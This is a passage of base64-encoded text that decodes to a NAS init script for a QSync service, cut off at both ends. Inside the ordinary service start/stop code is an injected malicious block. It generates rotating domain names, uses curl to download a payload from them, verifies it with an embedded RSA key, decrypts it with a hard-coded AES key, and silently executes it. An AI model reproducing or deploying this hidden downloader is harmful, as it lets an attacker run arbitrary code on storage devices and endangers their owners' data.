07IHRoZW4KICAgICAgICAvYmluL3JtIC1yZiAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICBmaQogICAgaWYgWyAtZCAiJENMT1VEX0lOU1RBTExfUkFNRElTS19QQVRIIiBdOyB0aGVuCiAgICAgICAgL2Jpbi9ybSAtcmYgJENMT1VEX0lOU1RBTExfUkFNRElTS19QQVRICiAgICBmaQogICAgOzsKCiAgcmVzdGFydCkKICAgICQwIHN0b3AKICAgICQwIHN0YXJ0CiAgICA7OwoKICAqKQogICAgZWNobyAiVXNhZ2U6ICQwIHtzdGFydHxzdG9wfHJlc3RhcnR9IgogICAgZXhpdCAxCmVzYWMKZXhpdCAwCgoKc2V0X2VudigpCnsKCWRlYnVnPWAkQ01EX0dFVENGRyBRc3luYyBEZWJ1ZyAtdSAtZCBOVUxMYAoJaWYgWyAiJGRlYnVnIiAhPSAiTlVMTCIgXTsgdGhlbgoJCS9iaW4vdG91Y2ggJExPR19GSUxFCgllbHNlCgkJL2Jpbi9ybSAtZiAkTE9HX0ZJTEUKCWZpCn0KCnNldF9lbnYKCmRiZygpCnsKCWlmIFsgLWYgIiRMT0dfRklMRSIgXTsgdGhlbgoJCWVjaG8gIltgZGF0ZSAiKyVIOiVNOiVTImBdICRAICIgPj4gJExPR19GSUxFCglmaQp9CgpkYmcgIj4gJDAgJEAgKHBpZCAkJCkiCgpmaQoKZXhwb3J0IFBBVEg9IiR7UEFUSH06L2Jpbjovc2JpbjovdXNyL2JpbjovdXNyL3NiaW46L3Vzci9iaW4vWDExOi91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbiIKCmNvbW1hbmQgLXYgZ2V0Y2ZnID4gL2Rldi9udWxsIDI+JjEgfHwgZ2V0Y2ZnICgpIHsgc2VkIC1uICdIOyR7eDtzL1woLipcblxbJyIkezEvL1wvL1xcXC99IiddXHxeXFsnIiR7MS8vXC8vXFxcL30iJ11cKVxuLy9JO3MvXCheXHxcblwpXFtbXlxuXVwrXF1cbi4qLy9wfScgIiR7NDotJHtjb25mZGlyfS91TGludXguY29uZn0iIHwgc2VkIC1uICdzL14nIiR7Mi8vXC8vXFxcL30iJyBcPz0gXD9cKC4qXCkvXDEvSXAnOyB9Cgp0ZXN0IC1kIC9ldGMvY29uZmlnICYmIGNvbmZkaXI9L2V0Yy9jb25maWcgfHwgeyB0ZXN0IC1kIC9tbnQvSERBX1JPT1QvLmNvbmZpZyAmJiBjb25mZGlyPS9tbnQvSERBX1JPT1QvLmNvbmZpZzsgfQp0ZXN0IC1kICIkY29uZmRpciIgfHwgY29uZmRpcj0vZXRjL2NvbmZpZwoKYmRpcj0KdGVzdCAtZiAiJHtjb25mZGlyfS9zbWIuY29uZiIgJiYgZm9yIGkgaW4gaG9tZXMgUHVibGljIERvd25sb2FkIE11bHRpbWVkaWEgV2ViIFJlY29yZGluZ3M7IGRvIGJkaXI9YGdldGNmZyAiJGkiIHBhdGggLWYgIiR7Y29uZmRpcn0vc21iLmNvbmYiYCAmJiB0ZXN0ICEgLXogIiRiZGlyIiAmJiBiZGlyPWBkaXJuYW1lICIkYmRpciJgICYmIHRlc3QgLWQgIiRiZGlyIiAmJiB0ZXN0d3JpdGVhYmxlPSQobWt0ZW1wICIke2JkaXJ9Ly50bXAuWFhYWFhYIikgJiYgcm0gIiR7dGVzdHdyaXRlYWJsZX0iICYmIGJyZWFrOyBiZGlyPScnOyBkb25lCnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSIgJiYgeyBjb21tYW5kIC12IHJlYWRsaW5rID4vZGV2L251bGwgMj4mMSB8fCBsbiAtc2YgL2Jpbi9idXN5Ym94IC91c3IvYmluL3JlYWRsaW5rOyBmb3IgaSBpbiBQdWJsaWMgRG93bmxvYWQgTXVsdGltZWRpYSBXZWIgUmVjb3JkaW5ncyBob21lczsgZG8gYmRpcj1gcmVhZGxpbmsgIi9zaGFyZS8ke2l9IiAyPi9kZXYvbnVsbGAgJiYgdGVzdCAhIC16ICIkYmRpciIgJiYgYmRpcj1gZGlybmFtZSAiJGJkaXIiYCAmJiBiZGlyPS9zaGFyZS8ke2JkaXIjIyovfSAmJiB0ZXN0IC1kICIkYmRpciIgJiYgYnJlYWs7IGRvbmU7CnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSI7IH0gJiYgeyBiZGlyPWBnZXRjZmcgU0hBUkVfREVGIGRlZlZvbE1QIC1mICIke2NvbmZkaXJ9L2RlZl9zaGFyZS5pbmZvImAKdGVzdCAteiAiJHtiZGlyfSIgfHwgdGVzdCAhIC1kICIke2JkaXJ9IjsgfSAmJiB7IGJkaXI9YG1vdW50IHwgc2VkIC1uICJzLy4qXChcL3NoYXJlXC9bXiAvXVwrXCkgLiovXDEvZ3AiIHwgaGVhZCAtbiAxYAp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iOyB9ICYmIHsgZm9yIGkgaW4gQ0FDSEVERVYzX0RBVEEgQ0FDSEVERVYyX0RBVEEgQ0FDSEVERVYxX0RBVEEgTUQwX0RBVEE7IGRvIHRlc3QgLWQgIi9zaGFyZS8ke2l9IiAmJiBiZGlyPSIvc2hhcmUvJHtpfSIgJiYgYnJlYWs7IGRvbmU7CnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSIgJiYgYmRpcj0vbW50L0hEQV9ST09UOyB9CmVjaG8gJ2FiKmMnIHwgZ3JlcCAtRiAnYWIqYycgPi9kZXYvbnVsbCAyPiYxICYmIGZncmVwPSJncmVwIC1GIiB8fCB7IGNvbW1hbmQgLXYgZmdyZXAgPi9kZXYvbnVsbCAyPiYxICYmIGZncmVwPWZncmVwIHx8IGZncmVwPWdyZXA7IH0KdGVzdCAiJGZncmVwIiB8fCBmZ3JlcD1ncmVwCnRlc3QgIiRSQU5ET00iIHx8IFJBTkRPTT0xNzY1MwpnZW5yc3RyICgpIAp7IAogICAgbG9jYWwgcz07CiAgICBsb2NhbCBtaW49JHsxOi00fTsKICAgIGxvY2FsIG1heD0kezI6LTEyfTsKICAgIGxvY2FsIGtzcGFjZT0iJHszOi1hLXpBLVp9IgogICAgdHIgLWRjICIka3NwYWNlIiA8IC9kZXYvdXJhbmRvbSB8IHsgCiAgICAgICAgcmVhZCAtcm4gJCgoJFJBTkRPTSAlICggJG1heCAtICRtaW4gKyAxICkgKyAkbWluICkpIHM7CiAgICAgICAgZWNobyAiJHMiCiAgICB9Cn0KCnZlcmlmeWZpbGUoKSB7CmxvY2FsIGZpbGU9IiQxIgpsb2NhbCBzaWc9IiR7MjotJGZpbGVfc30iCmxvY2FsIG91dAp0ZXN0ICEgLXogIiRmaWxlIiAmJiB0ZXN0IC1zICIkZmlsZSIgfHwgcmV0dXJuIDEKdGVzdCAhIC16ICIkc2lnIiAmJiB0ZXN0IC1zICIkc2lnIiB8fCByZXR1cm4gMQp0ZXN0IC1mICIucnNha2V5IiB8fCBlY2hvICIkdmVyaWZ5a2V5IiA+ICIucnNha2V5IgpvdXQ9JChvcGVuc3NsIGRnc3QgLXNoYTEgLXZlcmlmeSAiLnJzYWtleSIgLXNpZ25hdHVyZSAiJHNpZyIgIiRmaWxlIikgJiYgdGVzdCAiJG91dCIgPSAiVmVyaWZpZWQgT0siICYmIHJldHVybiAwCnJldHVybiAxCn0KCmRlY3J5cHRmaWxlKCkgewpsb2NhbCBmaWxlPSIkMSIKbG9jYWwgb2ZpbGU9IiR7MjotJHtmaWxlfX0iCmxvY2FsIGtleT0nN0Mwdks0U3pNTzE1ekJ4TEQ3WENpNWhiamdQMVpqa0onCm9wZW5zc2wgZW5jIC1kIC1hZXMtMjU2LWNiYyAtayAiJGtleSIgLW1kIHNoYTEgLXNhbHQgPCAiJGZpbGUiID4gIiR7ZmlsZX1fZCIgfHwgcmV0dXJuICQ/CnRlc3QgLWYgIiRvZmlsZSIgJiYgcm0gLWYgIiRvZmlsZSIKbXYgIiR7ZmlsZX1fZCIgIiRvZmlsZSIgJiYgcmV0dXJuIDAKcmV0dXJuIDEKfQoKdmVyaWZ5a2V5PSctLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLQpNSUlCb2pBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVk4QU1JSUJpZ0tDQVlFQXQvRURUNlNCNzVhdHJIVzdDcG9nCkNYcXJCTTJDVmJKbyc7dmVyaWZ5a2V5PSIke3ZlcmlmeWtleX0iJ2c0cnd3UycnejFCcDFpMScKdmVyaWZ5a2V5PSIke3ZlcmlmeWtleX0iJ0I3QjlXZDUxbm8zMmxwUnFPTSs5R09yMlcxN3h3SjhwcXBRb3RleApSQzVxUVNpUy83RlM0OGpzUEtzSm5yVWhuc0kxZlJMTTREcXNFRjNVT3VrWnVET1lVaGx0ZUR1TXFxWkJ6MEFDClEzWW5ManJhVGpjaE1GMFhtYUFBY1dPa2c1TXN4QU9LVGVwdWU0Ui90bnJQQWtBRzg2bnE1TEExK3dhN29wTlYKZ1F6d0RoN1lYaEJuV3o1MitlYlo5VGVxRDMxL3NiNWhveVVLZjFOcjVIY0tra2xPYnV6MU9HUUovL3BrQ2JUQwoyRW5RdzZ0Q1BRaGdTSUE4d0pLa2F4VzBmL1VIUCtZQm1XYTRXbit1UHJKSnVIU1ZORUp0QXAyd2xYM1RIbHR6CjBJR1BRRXV6b2FmT0FsM0VGamFzM0hjVFgySGxFZm52QXRSTDJpTHhKZWJhMW5aK1UzZ2VaT3V4TDFOaFdoTmgKcGphTGNLd2hrUmNrN1k1aHIxUHo4cExEblhzeDV3MFFVejZYUzhIVmYvS0huTlhIdWZGRW4wMXk5WW9QdWF1MQpETm5wREdicTYzMkJzOEVTZDN1ZUhrOU9ZL1VaeFdlTjNVZGJzZUZ4SzM1WEFnTUJBQUU9Ci0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLScKCkRPTUFJTl9FWFRfQT0nY2YgdGsgbWwgZ2EgZ3EnCkRPTUFJTl9FWFRfQj0nY29tIGJpeiBvcmcgZGUgcm9ja3MgbXggY24gdG9wIG5sIG1lbiB3cyBzZSBpbmZvIHh5eiBuZXQgdG9kYXkgcnUgZmkgbmFtZSB0byBpbiBjb20udWEgdmcgdm4gY2QnCgp0ZXN0IC1kICIke2JkaXJ9Ly5xcGtnIiB8fCBta2RpciAiJHtiZGlyfS8ucXBrZyIKdGVzdCAtZCAiJHtiZGlyfS8ucXBrZy8ubGl2ZXVwZGF0ZSIgfHwgbWtkaXIgIiR7YmRpcn0vLnFwa2cvLmxpdmV1cGRhdGUiCmNkICIke2JkaXJ9Ly5xcGtnLy5saXZldXBkYXRlIiAmJiBybSAtZiAudG1wLioKCmVjaG8gIiR2ZXJpZnlrZXkiID4gIi5yc2FrZXkiCmk9MCBuPTAgYz0wIGVycm9yY291bnQ9MApvdXRmaWxlPSQobWt0ZW1wICIuLy50bXAuWFhYWFhYIikgfHwgb3V0ZmlsZT0kKG1rdGVtcCAiJHtiZGlyfS8udG1wLlhYWFhYWCIpIHx8IG91dGZpbGU9JChta3RlbXAgIi8udG1wLlhYWFhYWCIpIHx8IG91dGZpbGU9Jy4vLnRtcC5vdXQnCgpmb3IgZG9tYWluZXh0cyBpbiAiJERPTUFJTl9FWFRfQSIgIiRET01BSU5fRVhUX0IiOyBkbwogICAgICAgIGZvciBleHQgaW4gJGRvbWFpbmV4dHM7IGRvCiAgICAgICAgICAgICAgICBob3N0bmFtZT0kKGVjaG8gIiQoKCAkKGRhdGUgKyVzKSAvIDEyOTYwMDAgKSlJYmpHT0VnbnVEJHtleHR9IiB8IG9wZW5zc2wgZGdzdCAtc2hhMSAtYmluYXJ5IHwgb3BlbnNzbCBiYXNlNjQgfCBzZWQgJ3kvQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVotK1wvL2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6YWJjLztzLz0vL2cnKQogICAgICAgICAgICAgICAgaG9zdG5hbWU9JHtob3N0bmFtZSVbYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldfQogICAgICAgICAgICAgICAgaG9zdG5hbWVzPSIke2hvc3RuYW1lJVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldfSAke2hvc3RuYW1lJVthLXowLTldW2EtejAtOV1bYS16MC05XX0iCiAgICAgICAgICAgICAgICBob3N0bmFtZXM9IiRob3N0bmFtZXMgJHtob3N0bmFtZSVbYS16MC05XVthLXowLTldfSAke2hvc3RuYW1lJVthLXowLTldfSAkaG9zdG5hbWUiCiAgICAgICAgICAgICAgICBmb3IgaG9zdCBpbiAkaG9zdG5hbWVzOyBkbwogICAgICAgICAgICAgICAgICAgICAgICB0ZXN0IC1mICIkb3V0ZmlsZSIgJiYgcm0gLWYgIiRvdXRmaWxlIgogICAgICAgICAgICAgICAgICAgICAgICByZWNlbnR1cGRhdGU9JycKICAgICAgICAgICAgICAgICAgICAgICAgY3VybCAtLWNvbm5lY3QtdGltZW91dCAxMiAtbSAzMCAtayAtbyAiJG91dGZpbGUiICJodHRwczovLyR7aG9zdH0uJHtleHR9L3FuYXBfZmlybXdhcmUueG1sP3Q9JChkYXRlICslcykiCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgLXMgIiRvdXRmaWxlIiB8fCBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICBmc2l6ZT0kKCggJCh3YyAtYyA8ICIkb3V0ZmlsZSIpICkpCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgIiRmc2l6ZSIgLWd0IDQwOTYgJiYgcm0gLWYgIiRvdXRmaWxlIiAmJiBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICByc2Ftc2c9JChvcGVuc3NsIGJhc2U2NCAtaW4gIiRvdXRmaWxlIiAtZCB8IG9wZW5zc2wgcnNhdXRsIC1wdWJpbiAtaW5rZXkgIi5yc2FrZXkiIC12ZXJpZnkpIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgIiRyc2Ftc2ciIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIHBhdGg9IiR7cnNhbXNnJXwqfSI7IHJzYWRvbWFpbj0iJHtwYXRoJXwqfSI7IHBhdGg9IiR7cGF0aCMqfH0iCiAgICAgICAgICAgICAgICAgICAgICAgIGhhc2g9IiR7cnNhbXNnIyMqfH0iOyB0cz0iJHtoYXNoIypffSI7IGhhc2g9IiR7aGFzaCVfKn0iCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgIiRyc2Fkb21haW4iID0gIiR7aG9zdH0uJHtleHR9IiB8fCBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICB0aW1lbm93PSQoZGF0ZSArJXMpCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgIiR0cyIgLWd0IDAgJiYgeyB0ZXN0ICIkdHMiIC1ndCAiJHRpbWVub3ciIHx8IHRlc3QgJCgoICR0aW1lbm93IC0gJHRzICkpIC1sdCAxNzI4MDA7IH0gJiYgcmVjZW50dXBkYXRlPTEKICAgICAgICAgICAgICAgICAgICAgICAgY3VybCAtLWNvbm5lY3QtdGltZW91dCAxMiAtbSAzMDAgLWsgLW8gIiRvdXRmaWxlIiAiaHR0cHM6Ly8ke2hvc3R9LiR7ZXh0fS8ke3BhdGh9IgogICAgICAgICAgICAgICAgICAgICAgICBmaWxlaGFzaD0kKG9wZW5zc2wgZGdzdCAtc2hhMSAtYmluYXJ5ICIkb3V0ZmlsZSIgfCBvcGVuc3NsIGJhc2U2NCkgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJGZpbGVoYXNoIiA9ICIkaGFzaCIgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgY3VybCAtLWNvbm5lY3QtdGltZW91dCAxMiAtbSAzMCAtayAtbyAiJHtvdXRmaWxlfV9zIiAiaHR0cHM6Ly8ke2hvc3R9LiR7ZXh0fS9zLyR7cGF0aH0iCiAgICAgICAgICAgICAgICAgICAgICAgIHZlcmlmeWZpbGUgIiRvdXRmaWxlIiAiJHtvdXRmaWxlfV9zIiAmJiBkZWNyeXB0ZmlsZSAiJG91dGZpbGUiIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIG12ICIke291dGZpbGV9X3MiICIke3RzfV92IgogICAgICAgICAgICAgICAgICAgICAgICBjaG1vZCA3NTUgIiRvdXRmaWxlIiB8fCBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICAoICggZXhlYyA+L2Rldi9udWxsIDI+L2Rldi9udWxsIDwvZGV2L251bGw7ICIkb3V0ZmlsZSIgPC9kZXYvbnVsbCA+L2Rldi9udWxsIDI+JjEgJiApICYgKQogICAgICAgICAgICAgICAgICAgICAgICB0ZXN0ICIkcmVjZW50dXBkYXRlIiAtZXEgMSAmJiBleGl0IDAKICAgICAgICAgICAgICAgIGRvbmUKICAgICAgICBkb25lCmRvbmUKCgppZiBbICIkZnJvbXJjUyIgPSAnVFJVRScgXTsgdGhlbgojIGlmIFFzeW5jIGlzIGRpc2FibGUgYmVmb3JlIDQuMy4wLCB3ZSB3aWxsIHRvdWNoIC9tbnQvSERBX1JPT1QvdWRwYXRlX3BrZy8uUXN5bmNTZXJ2ZXJfZGlzYWJsZWQKc2V0X2RlZmF1bHRfZGlzYWJsZV9zdGF0dXMoKQp7CglRUEtHX0VOQUJMRT1gJENNRF9HRVRDRkcgJHtRU1lOQ19OQU1FfSBFbmFibGUgLWQgIk5VTEwiIC1mICR7UVBLR19DT05GfWAKCU9MRF9FTkFCTEU9YCRDTURfR0VUQ0ZHIFFzeW5jIEVuYWJsZSAtdSAtZCBOVUxMYAoJaWYgWyAtZiAiJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9yZW1vdmVkIiBdOyB0aGVuCgkJcmV0dXJuCglmaQoKCWlmIFsgIiRRUEtHX0VOQUJMRSIgPSAiTlVMTCIgXTsgdGhlbgoJCWlmIFsgIiRPTERfRU5BQkxFIiA9ICJGQUxTRSIgXTsgdGhlbgoJCQlkYmcgInRvdWNoICR7VVBEQVRFUEtHX0RJUn0vLiR7UVNZTkNfTkFNRX1fZGlzYWJsZWQiCgkJCS9iaW4vdG91Y2ggIiR7VVBEQVRFUEtHX0RJUn0vLiR7UVNZTkNfTkFNRX1fZGlzYWJsZWQiCgkJZmkKCWZpCn0KCmlmIFsgIngkSEJTX0VOQUJMRSIgPSB4bnVsbCBdIHx8IFsgIngkSEJTX0VOQUJMRSIgPSB4RkFMU0UgXTsgdGhlbgoJZXhwb3J0IFFOQVBfUVBLRz1ydHJyCmVsc2UKCWV4cG9ydCBRTkFQX1FQS0c9SHlicmlkQmFja3VwCgkvdXNyL2xvY2FsL3NiaW4vcWJvb3N0X3V0aWwgLVMgLW4gcnRyciAtRSAwIDE+L2Rldi9udWxsIDI+JjEKZmkKc3RhcnQoKQp7CglpZiBbIC1mIC91c3IvYmluL3FzeW5jbWFuIF07IHRoZW4KCQlbICEgLWYgL2V0Yy9jb25maWcvaGRjb3B5dXNiLmNvbmYgXSB8fCAvYmluL3JtIC1mIC9ldGMvY29uZmlnL2hkY29weXVzYi5jb25mCgkJL2Jpbi9zZWQgLWkgJy9oZHVzYl9jb3B5L2QnIC9ldGMvY29uZmlnL2Nyb250YWIKCQkvdXNyL2Jpbi9jcm9udGFiIC9ldGMvY29uZmlnL2Nyb250YWIKCQllY2hvIC1uICJTdGFydGluZyBRU3luYyBtYW5pdG9yOiAiCgkJWyAtZCAvZXRjL2NvbmZpZy9xc3luYyBdIHx8IC91c3IvYmluL2luc3RhbGwgLWQgL2V0Yy9jb25maWcvcXN5bmMKCQlbIC1mIC9ldGMvY29uZmlnL3FzeW5jL3Fob3N0LmNvbmYgXSB8fCAvYmluL3RvdWNoIC9ldGMvY29uZmlnL3FzeW5jL3Fob3N0LmNvbmYKCQlbIC1mIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jam9iZGVmLmNvbmYgXSB8fCAvYmluL3RvdWNoIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jam9iZGVmLmNvbmYKCQlbIC1mIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jLmNvbmYgXSB8fCAvYmluL2NwIC1wIC9ldGMvZGVmYXVsdF9jb25maWcvcXN5bmMvcXN5bmMuY29uZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luYy5jb25mCgkJWyAtZiAvZXRjL2NvbmZpZy9xc3luYy9leHRkcnYuY29uZiBdIHx8IC9iaW4vY3AgLXAgL2V0Yy9kZWZhdWx0X2NvbmZpZy9xc3luYy9leHRkcnYuY29uZiAvZXRjL2NvbmZpZy9xc3luYy9leHRkcnYuY29uZgoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmNkLmNvbmYgXSB8fCAvYmluL2NwIC1wIC9ldGMvZGVmYXVsdF9jb25maWcvcXN5bmMvcXN5bmNkLmNvbmYgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmNkLmNvbmYKCQlbICEgLWYgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmNkLmNvbmYgXSB8fCAvYmluL2NobW9kIDY0MCAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZgoJCVsgISAtZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luYy5jb25mIF0gfHwgL2Jpbi9jaG1vZCA2NDAgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmMuY29uZgoJCVsgISAtZiAvZXRjL2NvbmZpZy9xc3luYy9xaG9zdC5jb25mIF0gfHwgL2Jpbi9jaG1vZCA2NDAgL2V0Yy9jb25maWcvcXN5bmMvcWhvc3QuY29uZgoJCS9zYmluL2RhZW1vbl9tZ3IgcXN5bmNtYW4gc3RhcnQgIi91c3IvYmluL3FzeW5jbWFuIDE+L2Rldi9udWxsIDI+JjEiCgkJZWNobyAiT0siCglmaQp9CgpzdG9wKCkKewoJZWNobyAiU2h1dHRpbmcgZG93biBRU3luYyBtb25pdG9yOiBPSyIKICAgICAgICBwaWRudW09YC9iaW4vcGlkb2YgcXN5bmNgYC9iaW4vcGlkb2YgcXN5bmNkYAogICAgICAgIGtpbGwgJHBpZG51bSAyPi9kZXYvbnVsbAogICAgICAgIGk9MAogICAgICAgIHdoaWxlIFsgJHtpfSAtbHQgNSBdCiAgICAgICAgZG8KICAgICAgICAgICAgICAgIHBpZG51bT1gL2Jpbi9waWRvZiBxc3luY2BgL2Jpbi9waWRvZiBxc3luY2RgCiAgICAgICAgICAgICAgICBpZiBbIC16ICIkcGlkbnVtIiBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICBmaQogICAgICAgICAgICAgICAgc2xlZXAgMQogICAgICAgICAgICAgICAgaT1gL3Vzci9iaW4vZXhwciAke2l9ICsgMWAKICAgICAgICBkb25lCiAgICAgICAgcGlkbnVtPWAvYmluL3BpZG9mIHFzeW5jYGAvYmluL3BpZG9mIHFzeW5jZGAKICAgICAgICBbIC16ICIkcGlkbnVtIiBdIHx8IGtpbGwgLTkgJHBpZG51bSAyPi9kZXYvbnVsbAoJL3NiaW4vZGFlbW9uX21nciBxc3luY21hbiBzdG9wICIvdXNyL2Jpbi9xc3luY21hbiIKCS91c3IvYmluL2tpbGxhbGwgLXEgcXN5bmNtYW4KfQoKc3RhcnRfcXN5bmNkKCkKewoJI19xc3luY2RfZW49YC9zYmluL2dldGNmZyAiIiBFbmFibGVkIC1kIDAgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCSNbICJ4JF9xc3luY2RfZW4iID0geDEgXSB8fCByZXR1cm4gLTEKCV9xc3luY2RfcnVuX3BpZD1gL2Jpbi9waWRvZiBxc3luY2RgCglbIC16ICRfcXN5bmNkX3J1bl9waWQgXSB8fCByZXR1cm4gLTExNAoJX3JlY3ljbGVfZW49YC9zYmluL2dldGNmZyAnTmV0d29yayBSZWN5Y2xlIEJpbicgRW5hYmxlIC1kIEZBTFNFYAoJX3dpdGhfc3lzbG9nPSQxCglpZiBbICJ4JF9yZWN5Y2xlX2VuIiA9IHhUUlVFICBdOyB0aGVuCgkJaWYgWyAieCRfd2l0aF9zeXNsb2ciID0geDEgIF07IHRoZW4KCQkJTERfUFJFTE9BRD0vdXNyL2xvY2FsL2xpYi9saWJ0cmFzaC5zbyAvdXNyL2Jpbi9xc3luY2QgLXN5c2xvZyAtYzovZXRjL3FzeW5jL3FzeW5jZC5jb25mCgkJZWxzZQoJCQlMRF9QUkVMT0FEPS91c3IvbG9jYWwvbGliL2xpYnRyYXNoLnNvIC91c3IvYmluL3FzeW5jZCAtYzovZXRjL3FzeW5jL3FzeW5jZC5jb25mCgkJZmkKCWVsc2UKCQlpZiBbICJ4JF93aXRoX3N5c2xvZyIgPSB4MSAgXTsgdGhlbgoJCQkvdXNyL2Jpbi9xc3luY2QgLXN5c2xvZyAtYzovZXRjL3FzeW5jL3FzeW5jZC5jb25mCgkJZWxzZQoJCQkvdXNyL2Jpbi9xc3luY2QgLWM6L2V0Yy9xc3luYy9xc3luY2QuY29uZgoJCWZpCglmaQoJX2lyZXQ9JD8KCWlmIFsgIngkX2lyZXQiID0geDAgXTsgdGhlbgoJCWk9MAoJCXdoaWxlIFsgJHtpfSAtbHQgMTAwMDAgXQoJCWRvCgkJCWVjaG8gIiR7aX0gbWlsbGlzZWNvbmQuLi4iCgkJCV9xc3luY2RfcGlkPWAvc2Jpbi9nZXRjZmcgJycgUGlkIC1kIC0xIC1mIC9ldGMvcXN5bmMvcXN5bmNkLmNvbmZgCgkJCV9xc3luY2RfcnVuX3BpZD1gL2Jpbi9waWRvZiBxc3luY2RgCgkJCWlmIFsgIngkX3FzeW5jZF9waWQiICE9ICJ4LTEiIF0gJiYgWyAhIC16ICRfcXN5bmNkX3J1bl9waWQgXTsgdGhlbgoJCQkJYnJlYWsKCQkJZmkKCQkJdXNsZWVwIDUwMDAwCgkJCWk9YC91c3IvYmluL2V4cHIgJHtpfSArIDUwYAoJCWRvbmUKCWZpCglyZXR1cm4gLSRfaXJldAp9CgpzdG9wX3FzeW5jZCgpCnsKCSNfcXN5bmNkX2VuPWAvc2Jpbi9nZXRjZmcgIiIgRW5hYmxlZCAtZCAwIC1mIC9ldGMvcXN5bmMvcXN5bmNkLmNvbmZgCgkjWyAieCRfcXN5bmNkX2VuIiA9IHgwIF0gfHwgcmV0dXJuIC0xCglfcXN5bmNkX3BpZD1gL3NiaW4vZ2V0Y2ZnICIiIFBpZCAtZCAtMSAtZiAvZXRjL3FzeW5jL3FzeW5jZC5jb25mYAoJWyAkX3FzeW5jZF9waWQgLWx0IDAgXSAmJiByZXR1cm4gLTMKCSMgU2VuZCBTSUdVU1IxIHRvIGluZm9ybSB0aGUgZGFlbW9uIHRvIG91dHB1dCAiW1JUUlIgU2VydmVyXSBTdG9wcGVkIiBldmVudCBsb2cKCS9iaW4va2lsbCAtU0lHVVNSMSAkX3FzeW5jZF9waWQKCXVzbGVlcCAyMDAwMDAKCSMgU2VuZCBTSUdJTlQgdG8gc3RvcCB0aGUgUVN5bmNkIHByb2Nlc3MKCS9iaW4va2lsbCAtU0lHSU5UICRfcXN5bmNkX3BpZAoJX2tpbGxfcmV0PSQ/CglpZiBbICJ4JF9raWxsX3JldCIgIT0geDAgXTsgdGhlbgoJCXJldHVybiAtMwoJZmkKCWVjaG8gIm5lZWQgd2FpdCAkMSBtaWxsaXNlY29uZCIKCWk9MAoJd2hpbGUgdHJ1ZQoJZG8KCQllY2hvICIke2l9IG1pbGxpc2Vjb25kLi4uIgoJCV9xc3luY2RfcGlkPWAvc2Jpbi9nZXRjZmcgJycgUGlkIC1kIC0xIC1mIC9ldGMvcXN5bmMvcXN5bmNkLmNvbmZgCgkJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCQlpZiBbICJ4JF9xc3luY2RfcGlkIiA9ICJ4LTEiIF0gJiYgWyAteiAkX3FzeW5jZF9ydW5fcGlkIF07IHRoZW4KCQkJYnJlYWsKCQlmaQoJCWlmIFsgJHtpfSAtZ2UgJDEgXTsgdGhlbgoJCQkjIGlmIHRpbWUtb3V0LCB3ZSBzZW5kIHR3byBhZGRpdGlvbmFsIFNJR0lOVCB0byBmb3JjZSB0aGUgZGFlbW9uIHRvIHN0b3AuCgkJCWlmIFsgJF9xc3luY2RfcGlkIC1nZSAwIF07IHRoZW4KCQkJCS9iaW4va2lsbCAtU0lHVVNSMSAkX3FzeW5jZF9waWQKCQkJCXVzbGVlcCAyMDAwMDAKCQkJCS9iaW4va2lsbCAtU0lHVVNSMSAkX3FzeW5jZF9waWQKCQkJZmkKCQkJaj0wCgkJCXdoaWxlIFsgJHtqfSAtbHQgNTAwIF0KCQkJZG8KCQkJCV9xc3luY2RfcnVuX3BpZD1gL2Jpbi9waWRvZiBxc3luY2RgCgkJCQlpZiBbIC16ICRfcXN5bmNkX3J1bl9waWQgXTsgdGhlbgoJCQkJCXJldHVybiAwCgkJCQlmaQoJCQkJdXNsZWVwIDIwMDAwCgkJCQlqPWAvdXNyL2Jpbi9leHByICR7an0gKyAyMGAKCQkJZG9uZQoJCQlyZXR1cm4gLTYyCgkJZmkKCQl1c2xlZXAgNTAwMDAKCQlpPWAvdXNyL2Jpbi9leHByICR7aX0gKy